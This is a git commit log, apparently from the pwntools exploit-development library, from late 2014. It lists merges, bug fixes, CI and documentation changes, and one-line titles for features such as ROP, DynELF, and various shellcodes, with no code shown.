br0ns 6c7136cd8d Merge pull request #219 from zachriggle/hexdump-colors
Remove check for sys.stdout.isatty()
2014-12-22 23:59:54 +01:00
IdolfHatler 882355383b Merge pull request #216 from zachriggle/issue-210
Default timeout, timeout magic string 'inf', OSX timeout max
2014-12-22 16:51:59 +01:00
Zach Riggle e70536e180 Merge pull request #218 from Gallopsled/iss217
Resolve SyntaxWarnings in pwnutil.util.web.  Fixes #217.
2014-12-22 10:39:34 -05:00
Zach Riggle 35d2a985c8 Remove check for sys.stdout.isatty() 2014-12-22 07:32:21 -08:00
Mathias Svensson b621a725e3 Fixed #217. 2014-12-22 14:52:52 +01:00
Mathias Svensson 2df67f9439 Fixed doctest mistake found in Travis 2014-12-22 11:31:52 +01:00
Mathias Svensson 276ebb27a7 Implements the changes discussed in #207 2014-12-22 11:22:16 +01:00
Zach Riggle dd530df04e Merge pull request #214 from Gallopsled/faster_import
Faster imports as per #198
2014-12-22 00:20:12 -05:00
Zach Riggle 993a3a5b5a Merge pull request #209 from Gallopsled/randoms-alphabet-fix
Implements the changes suggested in #202. Do not accept until a consensus is reached.
2014-12-22 00:15:11 -05:00
Zach Riggle 3fdc6bd146 Fix issue on OSX within the socket itself 2014-12-21 19:19:01 -08:00
Zach Riggle c1e31f7ab3 Set default timeout to infinite. Ensure that pwnlib.tubes.tube.timeout.Timeout.__init__ properly handles any magic values by passing them through context.timeout. 2014-12-21 19:13:01 -08:00
Mathias Svensson 3af8c6b81f Fixed bug found by Travis 2014-12-21 23:28:24 +01:00
Mathias Svensson 57ac2235a5 Faster imports as port #198 2014-12-21 23:24:25 +01:00
Robert Larsen 1fec4b9df7 Merge pull request #212 from Gallopsled/infloop_in_listen
Fixed the infinite loop from #137. The code still does not work, but now it does not work in a more reasonable way
2014-12-21 22:46:19 +01:00
Mathias Svensson 5d2cbdf5ea I really should learn to test my commits 2014-12-21 22:23:12 +01:00
Mathias Svensson 2270425d49 Fixed the infinite loop from #137. The code still does not work, but now it does not work in a more reasonable way 2014-12-21 22:19:30 +01:00
Robert Larsen 3b896435e0 Merge pull request #206 from Gallopsled/landscape-bugfixes
A few bugfixes found with landscape.io
2014-12-21 21:40:56 +01:00
Mathias Svensson ff926ca49f Implements the changes suggested in #202. 2014-12-21 21:33:27 +01:00
Robert Larsen 3025212421 Merge pull request #204 from Gallopsled/bug-iter-documentation
Fixed documentation. Should be safe to merge
2014-12-21 21:27:32 +01:00
Robert Larsen 77f231b91f Merge pull request #203 from Gallopsled/bug-randoms
random.sample does not use replacement. With a small alphabet this could throw an exception
2014-12-21 21:26:08 +01:00
Mathias Svensson 42215bea8c A few bugfixes found with landscape.io 2014-12-21 20:55:06 +01:00
Mathias Svensson 983a07c91d Fixed some documentation bugs in iters.py 2014-12-21 20:23:50 +01:00
Mathias Svensson ee187596bc random.sample does not use replacement. With a small alphabet this could throw an exception 2014-12-21 20:17:56 +01:00
Zach Riggle 4c1ab865f1 Merge pull request #201 from zachriggle/deferred-load-requests
Defer loading of requests module.  Fixes #198
2014-12-21 12:43:20 -06:00
Zach Riggle 9276c1fb1d Merge pull request #200 from zachriggle/hexdump-colors
Fixes #199
2014-12-21 12:41:26 -06:00
Zach Riggle 8f1583d588 Defer loading of requests module. Fixes #198 2014-12-21 12:40:09 -06:00
Zach Riggle 8ed28e6239 Fixes #199 2014-12-21 12:35:17 -06:00
Zach Riggle f1284bfc4d Update README.md 2014-12-18 15:27:47 -05:00
Zach Riggle ab7147c871 Update version.py 2014-12-18 15:22:51 -05:00
Mathias Svensson b13a4b9518 Merge branch 'mathiasbynens-add-socket-example' 2014-12-18 16:59:59 +01:00
Mathias Svensson 3c72aff21a Updated README.md 2014-12-18 16:59:48 +01:00
Mathias Bynens 69538c3f09 Add minimal example showing how to use remote 2014-12-18 15:28:14 +01:00
Mathias Svensson 7e5c9ce485 Hopefully make git language statistics more accurate 2014-12-18 12:30:47 +01:00
Mathias Svensson 4b286d1d44 Closes #195. Closes #190. Fixes a small bug with regards to the return value in ssh.upload_file. 2014-12-18 12:01:35 +01:00
Mathias Svensson dbac29eb73 Changed which in asm.py to which_binutils as per #190. Also made the tests work even if the binaries are not in /usr/bin 2014-12-18 10:55:57 +01:00
Morten Brøns-Pedersen 9c4cfc2d34 fixed #126 2014-12-17 13:07:12 +01:00
Mathias Svensson c2034afc3c Fixed a few small bugs found through landscape.io 2014-12-17 12:27:55 +01:00
Morten Brøns-Pedersen f7695695b2 fixed #193 2014-12-17 12:26:23 +01:00
Mathias Svensson b344f8f316 I should learn to spell 2014-12-17 11:59:15 +01:00
Mathias Svensson 0c48de7726 Fixed #185 and will hopefully get Travis to build again 2014-12-17 11:51:35 +01:00
Mathias Svensson cbd0323223 Implements the changes to proc.py mentioned in #181 2014-12-17 11:35:18 +01:00
Mathias Svensson 0ee3ce8eb1 Uses which instead of hardcoded paths in doctests. Fixes #182, #183, #184 2014-12-17 10:43:43 +01:00
Zach Riggle 57e5e81846 Merge pull request #188 from zachriggle/logging-errors-and-exceptions
Add log.exception to be able to print out an error message *with* an exception.
2014-12-16 20:42:48 -05:00
Zach Riggle ddbfe89d2f Add log.exception to be able to print out an error message *with* an exception.
Update log.error (and log.exception) to stop the active progress item.
2014-12-16 17:25:30 -08:00
Zach Riggle b84f563549 Merge pull request #187 from Gallopsled/asm-delete-tempdir
Actually call rmtree. Fixes #186
2014-12-16 20:18:39 -05:00
Zach Riggle 033f26c922 Do not delete files on exception 2014-12-16 17:10:14 -08:00
Zach Riggle c8874e080a Ignore docs output dir 2014-12-16 16:38:00 -08:00
Zach Riggle 27535ade83 Actually call rmtree. Fixes #186 2014-12-16 16:31:17 -08:00
Zach Riggle d3c863ca07 Set logger to pwnlib.exploit that is imported into the global namespace 2014-12-16 15:15:40 -08:00
Zach Riggle 6e6fe50b8f Default to /dev/null if stdin does not have a fileno (for example, a memory-only file buffer) 2014-12-16 15:08:21 -08:00
Zach Riggle 6d5ac6710f Make PWNLIB_NOTERM in the environment not ever even initialize curses 2014-12-16 15:06:01 -08:00
Zach Riggle c1d4312235 powerpc-linux-gnu 2014-12-16 12:39:30 -08:00
Zach Riggle 5bff52d9e2 Powerpc! 2014-12-16 12:08:38 -08:00
Zach Riggle 9f3ae14770 Move pwnlib.asm documentation to source docstring; rename _find to which; expose it via __all__ so that it gets picked up for doctests. Expressly import asm,disasm,cpp in toplevel so we don't import pwnlib.asm.which 2014-12-16 11:57:59 -08:00
Zach Riggle 7074b9a4da Update asm.py 2014-12-16 14:43:27 -05:00
Zach Riggle 556996e0ea Prefer exactly-named assembler first 2014-12-16 11:30:28 -08:00
Zach Riggle 481a699f10 Enable amd64-*-objdump so that it'll use the local copy when platform.machine() returns 'amd64' on not-Debian 2014-12-16 11:23:40 -08:00
Zach Riggle 36a9b4c93a Actually do the check 2014-12-16 11:13:58 -08:00
Zach Riggle 912baa28f5 Add warning message 2014-12-16 11:12:00 -08:00
Zach Riggle ad30c7dc7d Send platform.machine() through the context.arch setting for OpenBSD 2014-12-16 11:07:44 -08:00
Zach Riggle 15072ff66b Do it a few times so it gets cached 2014-12-16 10:05:04 -08:00
Zach Riggle df54013df3 I dont think Travis likes TERM_MODE 2014-12-15 21:01:38 -08:00
Zach Riggle 03d5d579f5 Merge pull request #166 from zachriggle/cyclic-hexdump-skip
Enable collapsing contiguous cyclic patterns
2014-12-16 09:45:51 -08:00
Zach Riggle d0e0291462 These tests are really for OSX, not for Linux 2014-12-15 20:56:32 -08:00
Zach Riggle 91a861773e Add "from pwn import *" install step to test load time 2014-12-15 20:40:39 -08:00
Zach Riggle 24c9207c3a Handle case where width is very low 2014-12-15 20:38:13 -08:00
Zach Riggle b54c64290d Enable collapsing contiguous cyclic patterns 2014-12-15 20:38:13 -08:00
Zach Riggle fe73751ec0 Better docs for pwnlib.log 2014-12-15 20:08:27 -08:00
Zach Riggle 7b919ea013 Move python-dev requirement up to prereqs 2014-12-15 19:04:23 -08:00
Zach Riggle bcd822763e Add installation docs; add global docs; enhance intro docs 2014-12-15 18:49:38 -08:00
Zach Riggle 185334c50d Add documentation for globals, context, pwnlib.context.Thread. Fix pwnlib.asm docs 2014-12-15 18:49:38 -08:00
Zach Riggle e1a161fb95 context.term_mode was not implemented due to cyclic dependencies 2014-12-15 18:49:38 -08:00
Zach Riggle d67dccf4ac typo [ci skip] 2014-12-15 16:09:12 -08:00
Zach Riggle 58b08d9544 Update README.md 2014-12-15 17:45:55 -05:00
Zach Riggle 7f2bd5556d Update README.md 2014-12-15 17:00:01 -05:00
Zach Riggle 6296670cbf Update README.md 2014-12-15 16:59:46 -05:00
Zach Riggle 2796a65d42 Fixes #180 2014-12-15 16:56:41 -05:00
Zach Riggle 8e9b8ef9b2 Update README.md 2014-12-15 16:49:57 -05:00
Zach Riggle 83ff0838d1 Fixes #179 2014-12-15 05:06:09 -05:00
Zach Riggle 767db7e242 linux-gnu 2014-12-15 03:42:12 -05:00
Zach Riggle 4ef2f90670 Yes. 2014-12-15 03:36:06 -05:00
Zach Riggle 2b30d51022 Helps to have the repo 2014-12-15 03:33:44 -05:00
Zach Riggle ffa349e07d Update travis config to install binutils now that we build for Precise 2014-12-15 03:32:58 -05:00
Zach Riggle 5674fc451a IRC link 2014-12-15 03:28:14 -05:00
Zach Riggle e054881bdf Add note about Python headers being required. 2014-12-14 20:52:36 -05:00
Zach Riggle da393452cf Fixes #173 2014-12-14 20:36:54 -05:00
Zach Riggle 206c3a8630 OSX workaround for binutils prefixed with "g" a la "gobjdump" 2014-12-14 16:57:51 -08:00
Zach Riggle ee267269d9 Use Python bindings for Capstone 2.1 until Capstone 3.0 deb is published 2014-12-14 16:45:16 -08:00
Zach Riggle 5f5fda530f Typo fix 2014-12-14 16:41:05 -08:00
Zach Riggle a119c6c393 Install libcapstone 2014-12-14 14:26:21 -08:00
Zach Riggle a6474c75e7 Travis doesn't have tag names available 2014-12-14 13:28:19 -08:00
Zach Riggle 071dc455d2 Reorder icons for consistency 2014-12-14 12:38:19 -08:00
Zach Riggle 414f72d8c3 Add docs/doctest requirements 2014-12-14 12:37:49 -08:00
Zach Riggle 157375b6cf Add travis badge 2014-12-14 12:34:12 -08:00
Zach Riggle 7ca3bdc67d Add travis configuration 2014-12-14 12:21:19 -08:00
Zach Riggle bcc92a7fff Fixes #177 2014-12-14 12:08:28 -08:00
Zach Riggle 9772093178 Add doctest for remote 2014-12-13 21:54:24 -08:00
Zach Riggle 6439ffdb32 Fixes #175 2014-12-13 21:00:56 -08:00
Zach Riggle fef068e812 Docstring for pwnlib.socket.remote.remote.fromsocket 2014-12-13 20:59:19 -08:00
Zach Riggle e81071b6f9 Merge branch 'pwnlib-2.2' 2014-12-13 20:57:45 -08:00
Zach Riggle 6529970b9a log.error should throw an exception 2014-12-13 20:57:18 -08:00
Zach Riggle c103989ddc Update remote to implement remote.fromsocket 2014-12-13 20:55:30 -08:00
Zach Riggle a78a0dbbf5 Fix typo 2014-12-02 20:20:38 -08:00
Zach Riggle 4ab70b880c pop REG should not include pop ss 2014-12-02 20:20:30 -08:00
Zach Riggle 16fd822ad1 Add SSL support to remote 2014-11-29 10:56:29 -08:00
Zach Riggle 8b24bbd574 Fix typo from 192065b 2014-11-17 11:12:45 -08:00
Zach Riggle c9a581229b Merge branch 'ssh-interactive-repl'
Conflicts:
	pwnlib/tubes/ssh.py
2014-11-12 17:02:19 -05:00
Zach Riggle 2485ab9795 Actually pass the event object to the Thread, and defer list(ord()) 2014-11-12 17:01:55 -05:00
Zach Riggle 37d31724e0 Need threading 2014-11-12 17:00:48 -05:00
Zach Riggle af5d9fe816 Merge branch 'ssh-interactive-repl' 2014-11-10 23:03:25 -05:00
Zach Riggle fbf6e58231 Use a proper threading.Event for synchronization rather than a list 2014-11-10 22:45:05 -05:00
Zach Riggle caee95628f Make ssh_channel.interactive() work when term_mode is not active 2014-11-10 22:35:35 -05:00
Zach Riggle 1db8f1d890 Merge branch 'proc-not-executable' 2014-11-09 07:32:06 -05:00
Zach Riggle 321db0fa81 Better detection 2014-11-09 07:31:52 -05:00
Zach Riggle 599b61468f Merge branch 'proc-not-executable'
Conflicts:
	pwnlib/tubes/process.py
2014-11-09 07:30:55 -05:00
Zach Riggle 807afc8266 Add message when given a non-executable 2014-11-09 07:29:34 -05:00
Zach Riggle 406dce863e Merge branch 'proc-psutil'
Conflicts:
	pwnlib/util/proc.py
	setup.py
2014-11-09 06:15:18 -05:00
Zach Riggle c55273c52a Convert some of proc's functionality to use psutil 2014-11-09 06:11:11 -05:00
Zach Riggle 09f69d804d Merge branch 'pwnlib-2.2' 2014-11-08 20:33:00 -05:00
Zach Riggle 9ba495366c Should timeout 2014-11-08 20:32:54 -05:00
Zach Riggle 5d21dddb50 Merge branch 'checksec' 2014-11-08 20:15:57 -05:00
Zach Riggle 46e1ac95ea alsr alias 2014-11-08 20:11:09 -05:00
Zach Riggle 34101f2710 Merge branch 'checksec' 2014-11-08 19:11:41 -05:00
Zach Riggle 4aa3dd5e34 execstack = not nx 2014-11-08 19:11:35 -05:00
Zach Riggle 8aa952935d Merge branch 'checksec'
Conflicts:
	pwnlib/elf/__init__.py
2014-11-08 08:41:56 -05:00
Zach Riggle 3814003d4f Add checksec 2014-11-08 06:48:08 -05:00
Zach Riggle 4af89b4ddc Merge branch 'rop-no-leave-gadgets' 2014-11-07 01:49:08 -05:00
Zach Riggle 98c0542f20 Check that there are leave gadgets before indexing 2014-11-07 01:48:49 -05:00
Zach Riggle 192065bb36 Merge branch 'wget-requests'
Conflicts:
	pwnlib/util/web.py
2014-11-07 00:05:53 -05:00
Zach Riggle 3ab20f22a9 Merge branch 'pwnlib-2.2' 2014-11-07 00:04:16 -05:00
Zach Riggle 8acd69a82c Reduce maximum update speed of waitfor when not using term-mode 2014-11-07 00:04:09 -05:00
Zach Riggle fe1b5df57e Merge branch 'pwnlib-2.2' 2014-11-06 22:12:40 -05:00
Zach Riggle c92bd308b4 Reduce maximum update speed of waitfor 2014-11-06 22:12:23 -05:00
Zach Riggle a7e7bcfd4f Merge branch 'elf-entry-point' 2014-11-06 22:05:28 -05:00
Zach Riggle b2cd8fde32 Switch to using pwnlib.util.misc.size for calculating sizes 2014-11-06 18:11:22 -05:00
Zach Riggle 6f3fe07e29 Change "wget" to use the requests library. Also adds the entire requests library to the top level. E.g. from pwn import * => "get" is now a global object 2014-11-06 17:29:38 -05:00
Zach Riggle 67ecd7ab0d Add pwnlib.elf.ELF.entry and a few aliases for the entry point 2014-11-06 15:23:45 -05:00
IdolfHatler ff07362012 Merge pull request #155 from zachriggle/tmux
run_in_new_terminal now behaves as per documentation; also can launch new tmux panes
2014-11-06 10:14:52 +01:00
IdolfHatler dddba723d5 Merge pull request #161 from zachriggle/gdb-attach-warning
Add warning message.  Closes #160
2014-11-06 10:14:06 +01:00
Zach Riggle 8a069f192a Merge branch 'gdb.debug' 2014-11-05 01:44:10 -05:00
Zach Riggle 1a7c1f5085 Merge branch 'dynelf-consolidate' 2014-11-05 01:14:02 -05:00
Zach Riggle b88ada7e80 Remove unused code 2014-11-05 01:05:02 -05:00
Zach Riggle f1efc6ae49 Re-add legacy @classmethod methods 2014-11-05 01:03:11 -05:00
Zach Riggle c443c38457 Fix inference of address from ELF, and ELF-only instantiation 2014-11-05 01:01:35 -05:00
Zach Riggle 3fda0c0dbd Fix thumb assembly "-thumb" vs "-mthumb". Also add RET shellcodes for each architecture. 2014-11-05 00:54:13 -05:00
Zach Riggle a5e7202194 Merge branch 'gdb-attach-warning'
Conflicts:
	pwnlib/dynelf.py
	pwnlib/memleak.py
	pwnlib/util/packing.py
2014-11-04 23:41:56 -05:00
Zach Riggle 2d5de974e7 Add warning message. Closes #160 2014-11-04 23:28:35 -05:00
Zach Riggle 666583f1ca Merge branch 'tmux' 2014-11-04 23:20:06 -05:00
Zach Riggle 1ee9bb8d56 Address @IdolfHatler's issue from IRC 2014-11-04 23:19:22 -05:00
Zach Riggle 7d3e5af6de Merge branch 'dynelf-consolidate'
Conflicts:
	pwnlib/dynelf.py
	pwnlib/elf/__init__.py
	pwnlib/elf/datatypes.py
	pwnlib/memleak.py
2014-11-04 22:09:17 -05:00
Zach Riggle 4783df2d5a Fix regression on getting the base address from an ELF 2014-11-04 16:15:17 -05:00
Zach Riggle 293d4773c0 Merge branch 'pwnlib-2.2'
Conflicts:
	pwnlib/asm.py
2014-11-03 21:33:01 -05:00
Zach Riggle f66c6b7936 Permit auto-detection of the current OS to use the maintainer-installed version of binutils. For example, on an i386 system, there should be no reason for an extra version of binutils to be installed. 2014-11-03 21:32:16 -05:00
Zach Riggle 38db1e7e2e Fixes for asm/disasm command-line tools; better handling of includes/section header flags 2014-11-02 05:16:35 -05:00
Zach Riggle 7aae87bd69 Only suppress stdout immediately surrounding ropgadget call; use info_once for messages (see #102) 2014-11-02 05:15:45 -05:00
Zach Riggle 8dd31cb10f Add log.info_once and related messages to only print an error/warning/info message one time 2014-11-02 05:15:44 -05:00
Zach Riggle a39891cc5f Fixes for asm/disasm command-line tools; better handling of includes/section header flags 2014-11-02 05:15:17 -05:00
Zach Riggle e4d95e94d2 Only suppress stdout immediately surrounding ropgadget call; use info_once for messages (see #102) 2014-11-02 05:14:43 -05:00
Zach Riggle 4e0ad45f9e Add log.info_once and related messages to only print an error/warning/info message one time 2014-11-02 04:52:16 -05:00
Zach Riggle 823d909498 Add doctests for previous commit 2014-11-01 12:20:32 -04:00
Zach Riggle b41dc036ae Add doctests for previous commit 2014-11-01 12:20:09 -04:00
Zach Riggle e744813cf0 Fix regression on process.connected_raw 2014-11-01 12:03:53 -04:00
Zach Riggle 3b09781efa Fix regression on process.connected_raw 2014-11-01 11:56:42 -04:00
IdolfHatler 4a88c3e1af Merge pull request #143 from zachriggle/patch-4
log.die is deprecated
2014-10-29 01:34:43 +01:00
IdolfHatler 0febd45d06 Merge pull request #152 from RobertLarsen/master
Thumb bindshell shellcode for Linux
2014-10-29 01:34:26 +01:00
IdolfHatler 0aafd7cba9 Merge pull request #153 from zachriggle/memleak-documentation-endianness
Memleak documentation endianness
2014-10-29 01:34:14 +01:00
IdolfHatler 4b7715e295 Merge pull request #157 from zachriggle/static-elf-symrelplt
Fixes NullSection for Static ELF
2014-10-29 01:33:10 +01:00
Zach Riggle 26d713bf0d Update constgrep 2014-10-28 16:34:48 -07:00
Zach Riggle 8ae04bcd01 Return the tube instead 2014-10-28 16:24:25 -07:00
Zach Riggle 5a63681849 Fix which "which" is used 2014-10-28 16:20:56 -07:00
Zach Riggle f2729530bf Fix previous commit 2014-10-28 01:48:55 -07:00
Zach Riggle 586e62538c Further enhancements thanks to Ilfak. DynELF now works for all RELRO permutations. 2014-10-28 01:41:39 -07:00
Zach Riggle 2ef7fc17d3 Merge remote-tracking branch 'origin/tmux' 2014-10-27 12:53:32 -07:00
Zach Riggle 32699836cb Merge branch 'static-elf-symrelplt' 2014-10-27 12:53:23 -07:00
Zach Riggle e347a5a81b Merge branch 'memleak-documentation-endianness-2.2'
Conflicts:
	pwnlib/memleak.py
2014-10-27 12:51:01 -07:00
Zach Riggle ae4507ef98 Merge branch 'dynelf-consolidate-2.2' 2014-10-27 12:50:16 -07:00
Zach Riggle c4f3e26019 Fix success spinner 2014-10-27 12:49:38 -07:00
Zach Riggle e1b143104d Rework DynELF to use consolidated routines for resolution 2014-10-27 12:49:38 -07:00
Zach Riggle d89c3ff04d wipwip 2014-10-27 12:46:31 -07:00
Zach Riggle 2d79765b5b Make memleak doctest work 2014-10-27 12:45:23 -07:00
Zach Riggle fa4fc41248 Change sizes to be sure to excercise search functionality 2014-10-27 12:45:23 -07:00
Zach Riggle 48c3ba343b Added documentation and doctests 2014-10-27 12:45:23 -07:00
Zach Riggle 5b7905813e asasdf 2014-10-27 12:45:08 -07:00
Zach Riggle c2fd526b7e Migrate back-fill operation to _leak 2014-10-27 12:44:10 -07:00
Zach Riggle 2a0467e105 Merge branch 'pwnlib-2.2'
Conflicts:
	pwnlib/gdb.py
	pwnlib/tubes/ssh.py
2014-10-27 12:43:08 -07:00
Zach Riggle 69e84b790d pwnlib 2.2 rewrite of context, logging, tubes, various bugfixes 2014-10-26 16:02:22 -07:00
Zach Riggle 20d39df46b Fixes #156 2014-10-26 15:19:15 -07:00
Zach Riggle 71250900b2 Make memleak doctest work 2014-10-25 17:16:01 -07:00
Zach Riggle 34db05ca0f run_in_new_terminal now behaves as per documentation; also can launch new tmux panes 2014-10-25 11:30:10 -07:00
Zach Riggle 94f31d3813 Fix success spinner 2014-10-23 13:57:13 -07:00
Zach Riggle c494f6c31d Rework DynELF to use consolidated routines for resolution 2014-10-23 03:07:28 -07:00
Zach Riggle 0b66263696 Change sizes to be sure to excercise search functionality 2014-10-20 19:17:11 -07:00
Zach Riggle bb7f86c3a5 Added documentation and doctests 2014-10-20 19:08:07 -07:00
Zach Riggle f3024c24da asasdf 2014-10-18 19:08:38 -07:00
Zach Riggle 9a7bfd6205 Migrate back-fill operation to _leak 2014-10-18 17:52:31 -07:00
Zach Riggle 45117ec75d Remove unnecessary list() 2014-10-18 17:22:53 -07:00
Robert Larsen 6c57393c57 Describe arguments. 2014-10-14 20:31:12 +02:00
Robert Larsen 2d7fde4b97 Describe arguments. 2014-10-14 20:30:07 +02:00
Robert Larsen 9a17e04ac3 Better doc. 2014-10-14 20:29:01 +02:00
Robert Larsen 2682d31f6a Address family is AF_INET6 for IPv6. 2014-10-14 20:25:23 +02:00
Robert Larsen 63fb952973 Merge branch 'master' of https://github.com/Gallopsled/pwntools 2014-10-12 23:08:52 +02:00
Robert Larsen 89c6ed1520 Added bindshell shellcode for thumb mode. 2014-10-12 23:07:52 +02:00
Zach Riggle 014d8f24ec Merge remote-tracking branch 'upstream/master' 2014-09-30 13:24:04 -04:00
IdolfHatler 8e3b05e016 Merge pull request #139 from zachriggle/patch-3
Enhance error messages
2014-09-30 13:40:47 +02:00
Zach Riggle 256decad52 log.fatal is deprecated 2014-09-29 23:03:53 -04:00
Zach Riggle a810c0204b Enhance error messages 2014-09-29 21:09:55 -04:00
IdolfHatler 74094d562d Merge pull request #138 from zachriggle/patch-2
Rewrite front-page docs a bit
2014-09-26 21:26:04 +02:00
Zach Riggle eb752e720d Rewrite front-page docs a bit
The `install.sh` just runs `pip2 -r requirements.txt` and echoes this same info to the screen.  It's short enough, may as well have it in the README.
2014-09-26 14:56:16 -04:00
IdolfHatler e6f33624d0 Merge pull request #136 from zachriggle/patch-1
Link to write-ups in README
2014-09-25 20:05:33 +02:00
Zach Riggle aad6276a83 Update README.md 2014-09-25 14:01:19 -04:00
IdolfHatler 8ea1d0e011 Merge pull request #132 from zachriggle/timeout-default
Add default timeout
2014-09-23 09:18:48 +02:00
IdolfHatler c198d4aede Merge pull request #134 from zachriggle/bug-stacktrace
Bugs should always emit a stack trace
2014-09-23 09:09:44 +02:00
Zach Riggle 3d8a1950a4 Bugs should always emit a stack trace 2014-09-23 01:25:08 -04:00
Zach Riggle b4bb6f41f3 Add default timeout 2014-09-23 00:56:44 -04:00
Mathias Svensson 60428c462b Fixed #125 2014-09-20 17:19:42 +02:00
Mathias Svensson 7604ea5319 A shebang does nothing if it is not the first line 2014-09-20 17:16:44 +02:00
Mathias Svensson a0bcd69abf Fixed #127 (bad copy paste) 2014-09-20 17:15:35 +02:00
Mathias Svensson 4cf6f7b4f6 Fixed bug in tube 2014-09-20 15:35:29 +02:00
IdolfHatler 5c44735842 Merge pull request #124 from zachriggle/context-threaded
Implement context-preserving threads
2014-09-18 23:07:19 +02:00
Zach Riggle 5121df4c4d Copy context to avoid secondary effects of scoping affecting the thread 2014-09-18 16:24:40 -04:00
Mathias Svensson d40c88e368 recvall will now close the connection 2014-09-18 08:09:42 +02:00
Mathias Svensson cb9d5357c4 Fixed uroboros (#123) 2014-09-18 08:09:42 +02:00
Zach Riggle 1d5ee71597 Merge branch 'context-threaded' 2014-09-17 20:11:51 -04:00
Zach Riggle 873afe189b Fixed regression in local copy 2014-09-17 20:09:17 -04:00
Zach Riggle e59aceecc2 Timeout message is too verbose after fixing thread context, when using .interactive() 2014-09-17 19:52:18 -04:00
Zach Riggle 24d247cc1b Implement context-preserving thread
Add threading back to toplevel
2014-09-17 19:52:06 -04:00
IdolfHatler e37b606cdc Merge pull request #119 from zachriggle/cyclic-newline-fix
Cyclic should only emit a newline when writing to a TTY
2014-09-17 21:08:15 +02:00
Zach Riggle d9079f4baa Merge branch 'cyclic-newline-fix' 2014-09-17 14:57:41 -04:00
Zach Riggle 6ff0fe8b2a Cyclic should only emit a newline when writing to a TTY 2014-09-17 14:49:31 -04:00
Zach Riggle 487fa32692 Merge remote-tracking branch 'upstream/master' 2014-09-17 14:48:58 -04:00
Mathias Svensson 1183fe4f66 Fixed a bug where readthedocs did not have rop documentation 2014-09-16 11:14:01 +02:00
IdolfHatler 43c0e7abce Merge pull request #117 from zachriggle/setxid
Update setXid
2014-09-15 20:52:53 +02:00
Zach Riggle 8796ba3477 Merge branch 'setxid' 2014-09-15 14:13:51 -04:00
Zach Riggle 22eb78d425 Update setXid 2014-09-15 14:13:43 -04:00
Mathias Svensson 5475de3f73 Tweaked the atexit-for-tubes commit a bit. We now use our local version of atexit, and we will not have a flag for choosing it. 2014-09-15 17:50:06 +02:00
Mathias Svensson 81ad2c32ac Merge branch 'tube-cleanup' of https://github.com/zachriggle/pwntools 2014-09-15 17:41:44 +02:00
Mathias Svensson 8d11a1596c Fixed debug message 2014-09-15 17:41:36 +02:00
IdolfHatler a830893c1f Merge pull request #112 from RobertLarsen/master
Made having two eggs in a row optional.
2014-09-15 14:54:50 +02:00
IdolfHatler c5305c6613 Merge pull request #110 from zachriggle/i386-dup-fix
Fix dupsh NUL bytes and make it shorter
2014-09-15 14:54:27 +02:00
IdolfHatler 3b010f92b6 Merge pull request #116 from zachriggle/shellcraft-amd64
amd64 shellcodes
2014-09-15 14:54:13 +02:00
Zach Riggle 32e767fb38 Merge branch 'shellcraft-amd64' 2014-09-15 04:35:03 -04:00
Zach Riggle 5d109f114c Merge branch 'tube-cleanup' 2014-09-15 04:34:46 -04:00
Zach Riggle 46957f01b3 Merge branch 'gdb.debug' 2014-09-15 04:34:36 -04:00
Zach Riggle e350668ba1 Merge remote-tracking branch 'upstream/master' 2014-09-15 04:34:30 -04:00
Zach Riggle e3846d3d83 amd64 shellcodes 2014-09-15 04:31:37 -04:00
IdolfHatler 63c1245931 Merge pull request #115 from zachriggle/shellcraft-chain
Permit chaining of `shellcraft`
2014-09-15 09:39:12 +02:00
Zach Riggle d6ba19d148 Ensure gdbserver is installed. Important since it is not installed for any overthewire or smashthestack challenges 2014-09-15 03:21:22 -04:00
Zach Riggle 2b111c84cd Autodetect output format 2014-09-15 03:07:34 -04:00
Zach Riggle 47f31d8741 Permit chaining of shellcraft 2014-09-15 03:04:12 -04:00
Zach Riggle 2a472e2c39 Make it optional, but default 2014-09-15 02:49:39 -04:00
Zach Riggle 9dce9c50fd Clean up tubes on process exit 2014-09-15 02:42:51 -04:00
Robert Larsen becaebc17d Fixed documentation. 2014-09-14 12:47:47 +02:00
Robert Larsen 8259572280 Made having two eggs in a row optional. 2014-09-14 12:44:27 +02:00
Mathias Svensson 3b793cdb57 Fixed #111 2014-09-12 13:59:01 +02:00
Mathias Svensson 786390ffa0 Fixed logging bug in dynelf 2014-09-12 13:57:48 +02:00
Zach Riggle 31a27eda3f Get rid of skinny-space 2014-09-11 19:37:13 -04:00
Zach Riggle 1e3257cddd Merge branch 'i386-dup-fix' 2014-09-11 19:09:47 -04:00
Zach Riggle bd29de04a3 Fix dupsh NUL bytes and make it shorter 2014-09-11 19:07:19 -04:00
IdolfHatler a923b9a155 Merge pull request #109 from zachriggle/rop-cache-quiet
Make message a bit quieter
2014-09-11 05:46:45 +02:00
Zach Riggle b80c08af3c Merge remote-tracking branch 'upstream/master' 2014-09-10 20:41:37 -04:00
Zach Riggle 7e58a25a92 Merge branch 'rop-cache-quiet' 2014-09-10 20:39:18 -04:00
Zach Riggle 87a85e92fe Merge branch 'gdb.debug' 2014-09-10 20:39:15 -04:00
Zach Riggle b0661a42c3 Make message a bit quieter 2014-09-10 20:18:24 -04:00
Zach Riggle 77baaed1d6 Autodetect binary for gdb based on provided arguments if running locally 2014-09-10 20:08:03 -04:00
Zach Riggle b30b34b3af Add gdb.debug for launching gdbserver locally or over ssh 2014-09-10 20:04:58 -04:00
Zach Riggle 45cc9e172a Merge branch 'ssh-directories' 2014-09-10 15:56:13 -04:00
Zach Riggle 1eb85ac20e Fix issue which makes top-level "process" be the module instead of the class when importing * from pwn 2014-09-10 15:56:03 -04:00
Zach Riggle 60d4921125 Merge branch 'ssh-directories' 2014-09-10 15:50:43 -04:00
Zach Riggle e17f33d741 Enable recursive upload/download of folders 2014-09-10 15:50:30 -04:00
IdolfHatler 5e8590c090 Merge pull request #106 from RobertLarsen/master
Shaved off one instruction.
2014-09-10 17:28:52 +02:00
Robert Larsen 0ec9bd93ff Shaved off one instruction. 2014-09-10 13:51:09 +02:00
IdolfHatler a814a2d90f Merge pull request #103 from RobertLarsen/master
Added egghunter for ARM
2014-09-10 13:32:24 +02:00
Robert Larsen 256b340354 Merge branch 'master' of https://github.com/Gallopsled/pwntools 2014-09-10 13:27:00 +02:00
Robert Larsen 637ff82f5a Be able to specify the address to start the search. 2014-09-10 13:04:50 +02:00
IdolfHatler aaaabb7295 Merge pull request #92 from RobertLarsen/master
Added findpeersh shellcode for thumb
2014-09-10 10:33:35 +02:00
IdolfHatler b5d2ed19c3 Merge pull request #94 from zachriggle/pwnlib-util-web-wget
Pwnlib util web wget
2014-09-10 10:33:05 +02:00
Zach Riggle 62a039501e Merge remote-tracking branch 'upstream/master' 2014-09-10 03:23:11 -04:00
